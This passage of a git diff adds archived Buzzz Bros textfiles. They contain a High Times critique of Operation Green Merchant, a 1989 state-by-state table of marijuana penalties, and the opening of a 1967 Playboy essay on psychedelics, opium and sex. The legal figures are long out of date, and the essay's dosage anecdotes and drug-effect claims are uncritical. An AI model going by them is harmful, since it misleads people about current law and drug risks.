'Sinsemilla +Tips' the Seed Bank, store owners, small-time growers and the thousands of +people who were investigated, the real victim of Green Merchant has been the +Bill of Rights. + + The right of free speech is a cornerstone of our republic. History is +full of people that spoke out advocating illegal positions in an effort to +change the laws governing them -- from Thoreau's 'Civil Disobediance' to 'The +Abolition Papers', from Freedom Marches to abortion rights. What 'Sinsemilla +Tips' did, and what HIGH TIMES does -- advocate the legalization of marijuana +-- is no different than what others have done throughout American history. The +right to print what we choose to print is supposed to be inviolate. + + The right to privacy is supposed to be protected as well. Yet the +investigation of thousands of people -- based solely on their having purchased +legal equipment from legal businesses which just happened to advertise, amoung +other places, in pro-marijuana magazines -- has been continually defended by +the Justice Department as necessary to their effort in the War on Drugs, +despite its obvious constitutional infringment. + + The rights to privacy were further comprimised by the thousands of +warrantless searches made in that investigation. While many people allowed +those consent searches to be performed, others were intimidated into them. To +date, dozens of government cases have been dropped as a result of those +unlawful entries. + + Perhaps the rights most abused in the execution of Operation Green +Merchant involve personal property and the right to be innocent until proven +guilty. The use of forfeiture during the government's prosecution of the +Operation has absolutely shredded these basic rights. That store owners could +have their businesses seized by federal agents, without there being enough +evidence to charge those owners with any criminal activity whatsoever; is a +terrifying concept; that people found to be growing marijuana in the privacy of +their homes could have those homes seized by government agents before they were +ever brought to trial is unconscionable. And yet this was one of the recurring +themes of Green Merchant: confiscate property; threaten charges which would +bankrupt the defendant to defend; and then make an offer to withdraw the +charges if they agree not to fight the forfeiture. + + + -=*/> Net Results <\*=- + + The government not only denies ever trying to put either HIGH TIMES or +'Sinsemilla Tips' out of business by gutting their advertising, it has defended +the actions of the federal, state and local authorities in every phase of Green +Merchant as integral to the success of the War on Drugs. Terrance W. Burke, +the Acting Deputy Administrator of the DEA, suggests that "there is no such +thing as a casual or innocent drug user of illegal substances. Users are a +major factor in the drug-trafficking problem, and they are going to be held +accountable." + + Steve Hager, HT's Editor-in-Chief finds fault with that argument. "The +whole reason we told people to grow their own pot was to get rid of the +criminal element. We said, if you want this -- to eat it, to smoke it, +whatever -- that's your God-given right, and we'll tell you how to grow it. +Don't give your money to the narcotic traffickers. Don't support the criminal +drug trade." + + Marijuana is illegal today not because it's unsafe to drive while high, +or because some religious and temperance groups think it's the devil's weed; +it's still illegal only because the big boys haven't yet seen their way clear +to corner the market once it does become legal. But you can bet they are +working on that; both marijuana for smoking and hemp for its thousands of +commercial uses -- from plastics to pulp, paper to pesticides, from food to +fuel, fiber to pharmaceuticals -- are just too valuable to be kept of the +market forever. It's just a question of working out the details -- amoung +which is ridding the marketplace of as many independant growers and as much +information as possible. That part of the plan went into effect on Black +Thursday -- October 26, 1989. + + In the final analysis, Operation Green Merchant has done nothing but +ruin the lives of thousands, destroy the Bill of Rights, obfuscate the +potential commercial and medical uses of hemp/marijuana by continuing to +demonize it, raise the price of pot and invite the criminals to take charge of +its production. + + Way to go boys. + + + -=*/> The Numbers <\*=- + + During a two-week period beginning on October 26, 1989, the DEA raided +gardening centers and private homes in 46 states. The results of that first +phase of Green Merchant -- released on November 9, 1989 -- were: + + o 377 arrests of private citizens for marijuana cultivation; + + o 42,677 marijuana plants seized (the Justice Department counts + unsprouted seeds in soil as marijuana plants); + + o 875 pounds of packaged marijuana seized; + + o 2.5 pounds of methamphetamine seized; + + o 5 pounds of mushrooms seized; + + o 280 indoor grow-sites seized; + + o 19 stores and warehouses seized; + + o 11 store owners arrested (8 store owners had their businesses + seized without being charged of any criminal activity); + + o $7,318,000 in total assets seized. + + + -------------- + + o 19 stores closed down: 7 stores forfeited, 11 currently under + forfeiture litigation, 1 store no explantion; + + o 16 store owners arrested; + + o $9,208,928 in total assets seized. + + (No new statistics on either quantities of packaged marijuana or + other illegal substances seized.) + + + The Operation was far from over. During the past 18 months the DEA +has continued its Green Merchant investigations. The most recent figures -- +released by the Justice Department on February 1, 1991 -- are: + + o 443 arrests of private citizens for marijuana cultivation; + + o 50,794 marijuana plants seized (including unsprouted seeds in soil); + + o 358 indoor grow-sites seized; + + + Of all the arrests made in Green Merchant thus far, only two people had +illegal substances other than marijuana in their homes; one man with 2.5 pounds +of methamphetamine, and another with 5 pounds of mushrooms. Indeed indoor +pot-growers don't appear to be supporting the criminal drug trade. + +___________________________ + + -=*/> Buzzz Bros. <\*=- + (c) MCMXCI +___________________________ + diff --git a/textfiles.com/groups/BUZZ/bbrosn01.txt b/textfiles.com/groups/BUZZ/bbrosn01.txt new file mode 100644 index 00000000..a28a7f44 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbrosn01.txt @@ -0,0 +1,552 @@ + *=-- --=* + { In the name of Truth, Justice and the American Way } + (not mention lime green buds, extra fat doses, and a case of Beck's) + { } + *=-- --=* + *=-- --=* + { the } + -=/*> Buzzz Bros <*\=- + present.. + + INJUSTICE FOR ALL + a guide to US pot laws + by Judy McGuire + + text entry by Major Havoc + { } + *=-- --=* + + this article originally appeared in HIGH TIMES, May 1989 + + + + + + + In a hearing held last September, DEA chief administrative law judge Francis +L. Young declared marijuana to be "one of the safest therapeutically active +substances known to man." Citing reliable medical authorities, Young stated +that "There are simply no credible medical reports that suggest that consuming +marijuana has caused a single death." Young went on to say, "By contrast, +aspirin, a commonly used medicine, causes hundreds of deaths each year." + + Despite Judge Young's ruling that pot is safer than aspirin, thousands of +Americans are persecuted, prosecuted, harassed and jailed each year because of +the stigma attached to this relatively harmless drug. The recent passing of +the Omnibus Anti-Drug Bill marks the climax of the anti-drug hysteria that has +been building for the last eight years. And with the ultra-conservative Bush +administration taking over, things don't look as if they'll be improving +anytime soon. + + STATE BY STATE + + Leaving the new Omnibus Anti-Drug Act and all other federal laws aside, +individual states still have widely varying statutes regarding the possesion, +cultivation, and sale of marijuana. What will get you one year in Tucson, may +only get you a small fine in Toledo. Some states, like Oregon, are very +lenient when it comes to possesion, but watch out if they nail you for growing. +Even one plant can get you a 20-year sentence and a one $100,000 fine! The +discrepancy between laws of different states is confusing, to say the least. + + Alabama, Alaska, Arkansas, Colorado, Maine, Maryland, Massachusetts, New York, +Oklahoma and Oregon are states that distinguish, and give lesser penalties for, +persons caught with small amounts deemed for "personal use" in private. The +same amount used or displayed in public reaps a harsher penalty. North Dakota +and Mississippi both have provisions in their laws for marijuana found in +vehicles, making possession violation much more serious; both states change a +fine into possible jail time. New Jersey has a two-year loss of driver's +license provision attached to its already stiff possession penalty. + + Quite a few states, Arizona and New Jersey among them, doubled the penalties +if the drug violation occurs within 1,000 feet of a school even if you are +busted for drugs in your own home! It makes no difference if school is in +session -- it could be 2 AM, mid-July, or during recess -- minors don't even +have to be anywhere near the bust. + + On the other hand, it's very possible you might have to spend the rest of +your life in jail if you're caught cultivating or selling large amounts of weed +in Montana, Missouri, or Nevada. + + Although it's not quite a life sentence, Arkansas, Connecticut, Oregon, +Florida, Louisiana, Virginia, Rhode Island, Texas, Oklahoma, Mississippi and +North Carolina slam the large scale grower/salesperson with a possible 30-year +incarceration. North Carolina's law has a new mandatory minimum sentence of 35 +years for possession, sale, or cultivation of over 10,000 pounds. + + + FORFEITURE + + Many states have forfeiture provisions written into their drug laws, making +properties attached to the drug offenders liable to seizure by the state. On +the federal level, the US Customs Service's "Zero Tolerance" crackdown, netted +the service a fleet of luxury yachts in the lsat year. The ever-zealous Coast +Guard, which can seize boats found to be carrying even the smallest amount of +drugs, confiscated one unlucky man's yacht after finding a few seeds and two +stems on board. Possibly the most famous case of boat seizure came when the +infamous "Monkey-Business" -- the "love boat" of would be presidential nominee +Gary Hart and paramour Donna Rice -- was impounded after the Coast Guard found +one joint on it. Only after paying a hefty fine was the vessel returned to its +owners. + + Forfeiture provisions are not limited to boats. The Federal government can +seize property involved in any kind of drug activity. In Illinois, the Justice +Department seized a suspected drug-dealer's gas station. They later returned +the property to his widow after discovering that the business came with an +outstanding $125,000 bill from the Illinois Environmental Protection Agency for +emergency cleanup. A Florida man, arrested by the US Border Patrol with a +small amount of marijuana and more than $400,000 cash in his car, wound up being +with possession of less than one ounce of marijuana -- a charge which was later +dismissed -- but ended losing his bankroll. Government prosecutors deemed that +the money should be forfeited because the man was allegedly on his way to +purchase a large amount of marijuana -- a charge he denies. + + After stopping a car for a routine traffic violation, a Florida Highway +Patrol trooper confiscated $8,180 in cash when the driver could not give the +officer an "acceptable" explanation for carrying such a large wad. The cost of +litigation involved in small forfeiture cases often discourages the victim of +wrongful seizure from fighting the case in court. + + State governments usually have different forfeiture guidelines for different +amounts and types of drugs. These guidelines include the forfeiture of drug +containers, cars, money, and other valuables. But in California and many other +states they can't seize your car if it's your family's sole means of +transportation. + + Only 17 states currently have the same type of real estate forfeiture +provisions that are already written into Federal Law. This figure is sure to +change for the worse in the next few years, so that not only can the US +government take your home, but the local sherrif's department can join in the +bounty-hunt as well. + + CONSTITUTION? WHAT'S THAT? + + Getting illegally-obtained evidence to stand up in court has always been a +constitutional nightmare for prosecutors. Illegal searches (those carried out +without a warrant or probable cause) are usually considered uncontitutional and +the evidence contained from them thrown out of court. However, a recent US +Supreme Court decision allowed prosecutors in Florida to introduce eveidence +gathered by police using a helicopter. The whirly-bird flew 400 feet over a +greenhouse that had marijuana plants growning in it, visible only from the sky. +The police used the information gathered from the flight to obtain a warrant, +but the Florida Supreme Court ruled it an unconstitutional search. The US +Supreme Court disagreed -- a fixed-wing aircraft can fly no lower than 500 +feet, but since there are no regulations regarding helicopters, this was not +considered invasion of privacy. + + In yet another case of civil rights erosion, a Florida State Court of Appeals +ruled that police can search passengers' luggage on public busses at random. +No reason necessary -- a funny haircut, suspicious walk, and your privacy is +history. + + THOSE MADCAP POLICIANS.. + + As if the current climate weren't hostile enough towards pot smoking citizens, +there are always a few politicians ready to make things even more oppressive For +example, the Tennesee Sherrif's Association feels that anyone convicted of +hawking drugs to a minor should be executed! This would include first-offense +sale of marijuana to a teenager. + + A bill introduced in the Delaware State Senate would bring back public +whippings as punishment for those convicted of drug offenses. Delaware, the +last state to abandon the whipping post (in 1952), still had corporal punshment +on the books until the early '70s. Democratic leader Senator Thomas B. Sharpe +feels that the drug problem is serious enough to warrant restoring this sadistic +practice. The ACLU, which vehemently disagrees, is currently investigating the +constitutionality of the whipping post. + + Representative Al Edwards of Texas has a novel, not mention morbid, idea for +dealing with drug dealers. The bill he's sponsering calls for dealers to lose +the tip of a little finger the first time they're convicted. With eace +subsequent conviction, they would lose a full finger. + + While these penalties seem farfetched, these are the opinions of the people +running this country! Drugs are being used as a scapegoat for the problems +that America faces today -- homelessness, AIDS, unemployment, crime, and hunger. +The politicians feel it's easier and safer to attack drugs than it is to deal +with deeper and more controversial issues. And they don't care if they end up +shredding the Constitution to do it. + + STATE-BY-STATE COMPARISON OF THE MARIJUANA LAWS + compiled by the National Organization for the Reform of Marijuana Laws + (NORML) + + +ALABAMA: +Possession: 0-2.2 lbs. For Personal Use: 0-1 yr & $1,000 +0-2.2 lbs. Not For Personal Use: 2-15 yrs & $25,000 +2.2-2,000 lbs.: 3-15 yrs & $25,000 +Over 10,000 lbs.: 15 yrs & $200,000 +Cultivation/Sale: 0-2.2 lbs: 2-15 yrs & $25,000 +2.2-2000 lbs.: 3-15 yrs & $25,000 +2,000-10,000 lbs.: 5-15 yrs & $50,000 +Over 10,000 lbs.: 15 yrs & $200,000 + +ALASKA: +Possession/Cultivation: Legal for personal use in home +Any amount for personal use not in home: 0-$100 +Public Display of up to 1 oz. or possession of 4 or more oz.:0-90 days & $1000 +Sale up to 1 oz.: 0-1 yr & $1,000 +Over an oz.: 0-5 yrs & $5,000 + +ARIZONA +Possession: Up to 1 lb.: 1.5 yrs & $750-$150,000 +1-8 lbs.:4 yrs & $750-$150,000 +8 lbs.: 7 yrs & $750-$150,000 + +Cultivation/Sale: Same as possession for over 1 lb. +Arizona also has provisions requiring community service and drug treatment for +people convicted for any pot crime. +Laws regarding drug sales near schools eliminate any chance of parole until all +of the sentence is served as well as imposing a minimum $2,000 fine. + +ARKANSAS +Possession: Up to 1 oz: 0-1 yr & $1,000 +1 oz-10 lbs.: 4-10 yrs & $25,000 +10-100 lbs.: 6-30 yrs & $100,000 +Cultivation/Sale: Up to 1 oz:2-10 yrs & $10,000 +Over an oz same as possession charge + +CALIFORNIA +Possession: Up to 1 oz: 0-$100 +Over an oz: 0-6 mos & $500 +Cultivation: 16 mos-3 yrs +Sale: 2-4 yrs + +COLORADO +Possession: Up to an oz in private: 0-$100 +In Public: 0-15 days & $100 +1-8 oz: 0-2 yrs & $500 +8 oz or more: 1-2 yrs +Cultivation/Sale: Any amount 2-4 yrs +Second Offense possession of any amount over an oz subsequent to a prior pot +offense carries a penalty of 6 mos-2 yrs. For 8 or more oz: 3-8 yrs & +$2,000-$5,000 + +CONNECTICUT +Possession: Up to 4 oz: 1 yr & $1,000 +Over 4 oz: 0-5 yrs & $2,000 +Cultivation/Sale: Up to 2.2 lbs: 0-7 yrs & $1,000 +Over 2.2 lbs: 5-20 yrs +No suspended sentences unless the person is drug dependant + +DELAWARE +Possession: Up to 50 lbs: 0-2 yrs & $500 +50-100 lbs: 3 yrs & $50,000 +100-5,000 lbs: 5 yrs & $100,000 +Over 5000 lbs: 15 yrs & $400,000 +Cultivation/Sale: Up to 50 lbs: 0-10 yrs & $10,000 +50-100 lbs: 3-10 yrs & $50,000 +100-5,000 lbs: 5 yrs & $100,000 +Over 5,000 lbs: 15 yrs & $400,000 + +FLORIDA +Possession: Up to 20 gms: 0-1 yr & $1,000 +20 gms-100 lbs: 0-5 yrs & $5,000 +100-2,000 lbs: 3-30 yrs & $25,000 +Over 10,000 lbs: 15-30 yrs & $200,000 +Cultivation/Sale: Up to 20 gms: 0-5 yrs & $5,000 +All other amounts: Same as penalties for possession + +GEORGIA +Possession: Up to 1 oz: 0-1 yr & $1,000 +1 oz-100 lbs: 1-10 yrs +100-2,000 lbs: 5-10 yrs & $25,000 +2,000-10,000 lbs: 7-10 yrs & $50,000 +Over 10,000 lbs: 15-30 yrs & $200,000 +Cultivation/Sale: Up to 100 lbs: 1-10 yrs +All other amounts: Same penalties as for possession + +HAWAII +Possession: Up to 1 oz: 0-30 days & $500 +1 oz-2.2 lbs: 0-1 yr & $1,000 +Over 2.2 lbs: 0-5 yrs & $5,000 +Cultivation/Sale: Up to 1 oz: 0-1 yr & $1,000 +All other amount: Same as penalties for possession + +IDAHO +Possession: Up to 3 oz: 0-1 yr & $1,000 +Over 3 oz: 0-10 yrs & $10,000 +Cultivation/Sale: Up to 3 oz: 0-5 yrs & $1,000 +Over 3 oz: 0-5 yrs: 0-5 yrs & $15,000 + +ILLINOIS +Possession: Under 2.5 gms: 0-30 days & $500 +2.5-10 gms: 0-6 mos & $500 +10-30 gms: 0-1 yr & $1,000 +30-500 gms: 1-3 yrs & $10,000 +Over 500 gms: 2-5 yrs & 10,000 +Cultivation/Sale: Under 2.5 gms: 0-6 mos & $500 +2.5-10 gms: 0-1 yr & $1,000 +10-30 gms: 0-1 yr & $10,000 +30-500 gms: 2-5 yrs & $50,000 +Over 500 gms: 3-7 yrs & $100,000 + +INDIANA +Possession: Up to 30 gms: 0-1 yr & $1,000 +Over 30 gms but less than 10 lbs: 0-2 yrs & $10,000 +Cultivation/Sale: Same penalties as for possession + +IOWA +Possession: Any amount: 0-6 mos & $2,500 +Cultivation: Any amount: 0-5 yrs & $2,500 +Sale: Any amount: 0-5 yrs & $10,000 + +KANSAS +Possession: Any amount: 0-1 yr & $2,500 +Cultivation: Any amount: 0-1 yr & $2,500 +Sale: Any amount: 1-10 yrs & $10,000 + +KENTUCKY +Possession: Less than 8 oz: 0-1 yr & $500 +8 oz-5 lbs: 1-5 yrs & $2,500 +5 lbs or more: 5-10 yrs & $5,000-$10,000 +Cultivation/Sale: Penalties are the same as for possession +Note: Up to 4 plants is treated as simple possession + +LOUISIANA +Possession: Under 100 lbs: 0-6 mos & $500 +100-2,000 lbs: 5-15 yrs & $50,000 +2,000-10,000 lbs: 15-25 yrs & $200,000 +Over 10,000 lbs: 25-35 yrs & $500,000 +Cultivation/Sale: Up to 1.5 oz: 0-1 yr & $1,000 +All other penalties same as for possession + +MAINE +Possession: Any amount for personal use up to 1.5 oz: $0-$200 +1.5-2 lbs: 0-1 yr & $1,000 +2-1,000 lbs: 0-5 yrs & $2,500 +Over 1,000 lbs: 0-10 yrs & $10,000 +Cultivation/Sale: Up to 1.5 oz: 0-1 yr & $1,000 +All other penalties same as for possession + +MARYLAND +Possession/Cultivation: Any personal use amount: 0-1 yr & $1,000 +Any other amount, presumed intent to distribute: 5-15 yrs & $15,000 +Importation of over 100 lbs into Maryland: 0-25 yrs & $50,000 +Second Offense Mandatory 2 yrs, up to 15 yrs & $10,000 + +MASSACHUSETTS +Possession: Any amount for personal use: Probation +Cultivation/Sale: 0-2 yrs & $5,000 + +MICHIGAN +Possession: Any amount: 0-1 yr & $1,000 +Use: 0-90 days & $100 +Cultivation/Sale: 0-4 yrs & $5,000 +City of Ann Arbor: Possession under 1 oz: $0-$100 + +MINNESOTA +Possession: Up to 1.5 oz: $0-$100 +Over 1.5 oz: 0-3 yrs & $3,000 +Cultivation/Sale: Any amount: 0-5 yrs & $30,000 + +MISSISSIPPI +Possession: Up to 1 oz not in vehicle: $100-$250 +1 gm-1 oz in vechicle: 0-90 days & $1,000 +1 oz-2.2 lbs: 0-2 yrs & $3,000 +Over 2.2 lbs: 0-20 yrs & $1,000,000 (1 million!) +Cultivation/Sale: Up to 1 oz: 0-3 yrs & $3,000 +1 oz-2.2 lbs: 0-20 yrs & $30,000 +Over 2.2 lbs: 0-30 yrs & $1,000,000 (1 million!) + +MISSOURI +Possession/Cultivation: Up to 35 gms: 0-1 yr & $1,000 +Over 35 gms: 0-5 yrs & $1,000 +Sale: Any amount: 5 yrs to life +Note: Any marijuana offense while driving punished by license suspension for 1 +year + +MONTANA +Possession: Up to 60 gms: 0-6 mos & $500 +Over 60 gms: 0-50 yrs & $50,000 +Cultivation/Sale: 1 yr to life & $50,000 + +NEBRASKA +Possession: Up to 1 oz: $100 and drug education +1 oz-1 lb: 0-7 days & $500 +Over 1 lb: 0-5 yrs & $10,000 +Cultivation/Sale: Any amount: 0-15 yrs & $10,000 + +NEVADA +Possession: Up to 1 oz by a person under 21: 0-6 yrs & $2,000 +Up to 100 lbs by an adult: probation-6 yrs & $5,000 +100-2,000 lbs: 3-20 yrs & $25,000 +2,000-10,000 lbs: 5-20 yrs & $50,000 +Over 10,000 lbs: 5 yrs to life & $200,000 +Cultivation/Sale: Up to 100 lbs: 1-15 yrs & $5,000 +All other penalties are the same as for possession + +NEW HAMPSHIRE +Possession: Up to 1 lb: 0-1 yr & $1,000 +Over 1 lb: 0-7 yrs & $2,000 +Cultivation/Sale: Any amount: 0-15 yrs & $2,000 + +NEW JERSEY +Possession: under 50 gms: 0-6 mos & $750 and 2 year driver license suspension +Over 50 gms: 0-5 yrs & $15,000 +Cultivation/Sale: 0-5 yrs & $15,000 +New Jersey also has provisions for doubling penalties if they occur within +1,000 feet of a school, and strengthened penalties for people that employ minors +in the drug trade + +NEW MEXICO +Possession: Up to 1 oz: 0-15 days & $100 +1-8 oz: 0-1 yr & $1,000 +8 oz-100 lb: 0-18 mos & $5,000 +Over 100 lbs: 3 yrs & $5,000 +Cultivation: Any amount: 9 yrs & $10,000 +Sale: 1 gm-100 lbs: 18 mos & $5,000 +Over 100 lbs: 3 yrs & $5,000 + +NEW YORK +Possession: Up to 25 gms in private: $0-$100 +25 gms-2 oz: 0-3 mos & $500 +2-4 oz: 0-1 yr & $1,000 +4-8 oz: 0-4 yrs +1-10 lbs: 0-7 yrs +Over 10 lbs: 0-15 yrs +Cultivation: Up to 4 oz: 0-1 yr & $1,000 +4-8 oz: 0-1 yr & $10,000 +8 oz-1 lb: 0-4 yrs +1-10 lbs: 0-7 yrs +Over 10 lbs: 0-15 yrs +Sale: Up to 25 gms: 0-1 yr & $1,000 +25 gms-4 oz: 0-4 yrs +4 oz-1 lb: 0-7 yrs +Over 1 lb:0-15 yrs + +NORTH CAROLINA +Possession: Up to 1 oz: 0-30 days & $100 suspended drivers license +Over 1 oz: 0-2 yrs & $2,000 +Cultivation/Sale: Penalties names as possession of over 1 oz +The following mandatory minimum sentences are provided for trafficking offenses: +Over 50 lbs but less than 100 lbs: 5 yr minimum +Over 100 lbs but less than 2,000 lbs: 14 yr minimum, 20 yr maximum +Over 10,000 lbs: 35 yr minimum, 40 yr maximum + +NORTH DAKOTA +Possession: Up to .5 oz not in vehicle: 0-30 days & $500 conditional +.5 oz-1 oz not in vehicle, or .5 oz in vehicle: 0-1 yr & $1,000 +Over 1 oz: 0-5 yrs & $5,000 +Cultivation/Sale: Any amount: 0-10 yrs & $10,000 + +OHIO +Possession: Up to 100 gms: $0-$100 +100-200 gms: 0-30 days & $250 +200-600 gms: 6 mos-5 yrs & $2,500 +Over 600 gms: 1-10 yr & $5,000 +Cultivation/Sale: Up to 200 gms: 6 mos-5 yrs & $2,500 +200-600 gms: 1-10 yrs & $5,000 +Over 600 gms: 2-15 yrs & $7,500 + +OKLAHOMA +Possession: Any amount for personal use: 0-1 yr +Cultivation: Any amount: 2-10 yrs & $50,000 +Sale: Less than 25 lbs: 2-10 yrs & $20,000 +25-1,000 lbs: 2-10 yrs & $25,000-$100,000 +Over 1,000 lbs:1-10 yrs & $100,000-$500,000 + +OREGON +Possession: Up to 1 oz: $0-$100 +Over 1 oz: 0-10 yrs & $2,500 +Cultivation/Sale: Any amount: 0-20 yrs & $15,000 + +PENNSYLVANIA +Possession: Up to 30 gms: 0-30 days & $500 +Over 30 gms: 0-1 yr & $5,000 +Cultivation/Sale: Any amount: 10-30 yrs & $50,000 + +RHODE ISLAND +Possession: Less than 1 kg: 0-1 yr & $250 +More than 1 kilo: 10 yr mandatory minimum +Cultivation/Sale: Any amount: 10-30 yrs & $50,000 + +SOUTH CAROLINA +Possession: Up to 1 oz: 0-30 days and $200 +Over 1 oz: 0-5 yrs & $5,000 +Cultivation/Sale: Penalties same as possession for over 1 oz + +SOUTH DAKOTA +Possession: Up to 1 oz: 0-30 days & $100 +1 oz-1 lb: 0-1 yr & $1,000 +1-10 lbs: 0-2 yrs & $2,000 +Over 10 lbs: 0-10 yrs & $10,000 +Cultivation/Sale: Up to 1 lb: 0-1 yr & $1,000 +1-10 lbs: 0-2 yrs & $2,000 +Over 10 lbs: 0-10 yrs & $10,000 +Note: Penalty for cultivation under 1 oz same as possession under 1 oz + +TENNESEE +Possession: Up to 10 lbs: 0-1 yr & $1,000 +Over 10 lbs: 4-10 yrs & $10,000 +Cultivation/Sale: Up to .5 oz: 0-1 yr & $1,000 +.5 oz-10 lbs: 4-10 yrs & $10,000 +Note: Cultivation carries mandatory 1 year minimum sentence + +TEXAS +Possession: Up to 2 oz: 0-6 mos & $1,000 +2-4 oz: 0-1 yr & $2,000 +4 oz-5 lbs: 2-10 yrs & $5,000 +5-50 lbs: 2-20 yrs & $10,000 +Cultivation/Sale: Under 2 oz: 0-1 yr & $1,000 +Over 2 oz: Same penalties as for possession +Texas also has very strict mandatory minimum sentences for amounts over 50 lbs +and sale to minors + +UTAH +Possession: 0-6 mos & $300 +Cultivation/Sale: 0-5 yrs & $5,000 + +VERMONT +Possession: Up to .5 oz: 0-6 mos & $500 +.5-2 oz: 0-3 yrs & $3,000 +Over 2 oz: 0-5 yrs & $5,000 +Cultivation/Sale: Any amount: 0-5 yrs & $5,000 + +VIRGINIA +Possession: Up to 5 lbs: 0-30 days & $500 +Cultivation: Up to 5 lbs: 0-30 days & $500 +Over 5 lbs: 5-30 yrs +Sale: Up to .5 oz:0-1 yr & $1,000 +.5 oz-5 lbs: 0-10 yrs & $1,000 +Over 5 lbs: 5-30 yrs + +WASHINGTON +Possession: Up to 40 gms: 0-90 days & $250 +Over 40 gms: 0-5 yrs & $10,000 +Cultivation/Sale: Any amount: 0-5 yrs & $15,000 + +WEST VIRGINIA +Possession: Up to 15 gms: conditional discharge +Over 15 gms: 90 days-6 mos & $1,000 +Cultivation/Sale: Any amount: 1-5 yrs & $15,000 + +WISCONSIN +Possession: Any amount: 0-30 days & $500 +Cultivation/Sale: Any amount 0-5 yrs & $15,000 +City of Madison: Possession: $0-$100 + +WYOMING +Possession/Cultivation: Any amount: 0-6 mos & $1,000 +Sale: Any amount: 0-10 yrs & $10,000 + + *=-- --=* + { } + -=*/> Buzzz Bros. <\*=- + { MCMXC } + *=-- --=* + + Freedom Is A Road Seldom Traveled By The Multitude + + __________________ + + Special thanks to: + __________________ + +HIGH TIMES (bud smokers bible) +Marlboro Cigarettes +Faith No More +N.W.A. + -and- +Public Enemy + diff --git a/textfiles.com/groups/BUZZ/bbrosn02.txt b/textfiles.com/groups/BUZZ/bbrosn02.txt new file mode 100644 index 00000000..8def79e0 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbrosn02.txt @@ -0,0 +1,634 @@ + *=-- --=* + { the } + -=/*> Buzzz Bros <*\=- + present.. + + Sex, + Ecstasy + and the + Psychedelic Drugs + By R.E.L. Masters + + Text entry by Major Havoc + { } + *=-- --=* + + *=-- ---=* + { This file is a copy of an article that was first published in Playboy } + November 1967. Although over 20 years old, it is a perfect + { example of the budding use, evaluation and enjoyment } + *=-- of psychedelic drugs in the late '60s. --=* + + + + History requests as unremitting or as widespread as the search for a +harmless, effective sex stimulant. Recent claims - such as those made by +Timothy Leary - that LSD is the greatest aphrodisiac known to man, have excited +much interest in the sexual potential of psychedelic drugs. Sober discussion +of psychedelic substances was difficult enough before sex entered the picture; +now it is close to impossible. But bearing in mind that there is a great deal +more to psychedelics than sex, it might clear the air to examine the effects of +lysergic acid diethylamide - and several other psychedelic drugs - on human +sexual behavior. + + Along with the comparatively new synthetic psychedelics, including LSD +and psilocybin, there are similar mind-altering substances present in many +forms of plant life. Some of these have been used for hundreds and even +thousands of years. Examples are the peyote cactus, the Cannibis hemp plant, +the opium poppy and several varieties of mushrooms and morning-glory plants. +Most have been linked in one way or another with sex. + + Whether opium - probably Homer's nepenthe - should be considered a +psychedelic drug is largely a matter of semantics. Some would-be authorities +exclude all addictive drugs, including opium, from the class of psychedelics. +However opium does produce effects similar to those produced by nonaddictive +psychedelics, and among these are sexual effects that merit consideration. + + Prolonged use of opium results in mental and physical and mental +deterioration, including impotence. However, before is takes its toll, the +drug can powerfully and pleasurably enhance sexual experience. No one has +described the specific sexual effects of opium as well as the 19th century +French Army surgeon and anthropologist Jacobus Sutor, who authored numerous +sexological studies under the pseudonym Jacobus X. "According to my person +experience," wrote Jacobus, "and from avowals made to me by women, both +Europeans and Asiatics, the effects produced by opium in moderate doses, say +from 10 to 20 pipes, are as follows: Under the influence of erotic +excitement, either direct or merely mental, an erection is quickly produced, +if you want to copulate. But - and this has never been remarked by any other +author - although the penis is in a stiff erection, its nerves, and more +particularly, those of the glans, are anesthetized by the effets of the +opium, and though the erection is strong, the emission, on the contrary, is +much retarded and takes place only after prolonged copulation. This +anesthetic effect is also produced in the nerves of the vulva, the vagina and +the rectum of the woman, and the 'psychological moment' arives slowly. The +constrictor muscles of the vagina, and especially those of the rectum, +undergo a kind of relaxation." He goes on to say that, with larger doses, +more than 15 or 20 pipes, erection becomes incomplete; and with 30 or 40 +pipes, it is absent altogether. + + Jacobus' remarks also apply to peyote, to the LSD-type synthetics and, to +a lesser degree marijuana. Those under the influence of these drugs describe +the mild surface anesthesia, if that is what it is, as a feeling of +'rubberiness' that effects the penis, the female genitals and also sometimes +the mouth, the breasts, the fingers and other body areas. It is by no means +an unpleasent sensation; often it is descibed as heightened feelings of +voluptuousness. Along with the rubbery sensation, the genitals, if excited, +are felt to be engorged to an unusual degree. + + At least as ancient as opium is the hemp plant (Cannibis sativa, or +Cannibis indica). When used as a drug, it is called marijuana, hashish and a +great deal of other names. Scientific reports on the sexual effects of +marijuana are conflicting. For example, the French toxicologist Erich Hesse +(Narcotics and Drug Addiction) tells us that marijuana and hashish provide no +sexual stimulation whatever; but another physician-author Bernard Finch +(Passport to Paradise), declares that "After several inhalatios, a feeling +of sexual excitement develops and the smoker is able to improve his sexual +performance, in that erection is stronger and more persistant, but orgasm is +depressed and usually does not take place." + + I could provide a great many more conflicting 'authoratative' statements +on this matter, although Finch is the only writer I know who suggests that +marijuana by itself produces a condition of sexual excitation. He also is +the only one to say that orgasm "usually" does not take place. + + From many other times and places, we also have claims that hemp is an +aphrodisiac - and other claims that it is an anaphrodisiac, an inhibitor of +sexual desire or of potency. But whichever way they lean, the authors of +these claims are relying on personal predeliction, on very limited interview +data or on the verdict of some favorite 'authority' who has already made +similar errors. We find the same conflicting evidence from "experts" writing +about the sexual effect of peyote or LSD. + + Anyone who has carefully studied psychoactive drugs should know that many +different effects are possible, depending on personal, cultural or immediate +situational factors - which are often crucial in determining drug-state +behavior. With marijuana and other psychedelics, people who are sexually +stimulated may find that their stimulation is greater than usual and that +their capacity to respond has been heightened. Others may find themselves +totally indifferent such as the writer Theophile Gautier, who took some +hashish and generalized that "a hashish user would not lift a finger for the +most beautiful woman in Verona." The same individual may find that he is +greatly aroused on one occasion and unexcited on the next. Or his mind may +experience desire while is body is unable to act in concert with it. + + Some cultures place great faith in the aphrodisiacal effects of hemp; and +in those cultures the drug often does function as an aphrodisiac - producing +sexual excitation, enhancing potency and pleasure, and prolonging sexual +intercourse. Amoung Arabs, there is a vast lore of the effectiveness of hemp +in maintaining an erection - the prolongation of the sex act being almost an +obsession with some Moslems. A famous poem on this subject begins: + + The member of Abu'l-Haylukh remained + In erection for 30 days, sustained + By smoking hashish + Abu'l-Haylukh deflowered in one night + Eighty virgins in a rigid rite + After smoking hashish + + The poem goes on to describe still more feats of sexual athleticism; but +underlying its characteristic Arab hyperbole is some solid fact - hemp can, +indeed, prolong an erection. Besides the mild anesthesia described by +Jacobus, the male, with marijuana, may feel that his erect organ is 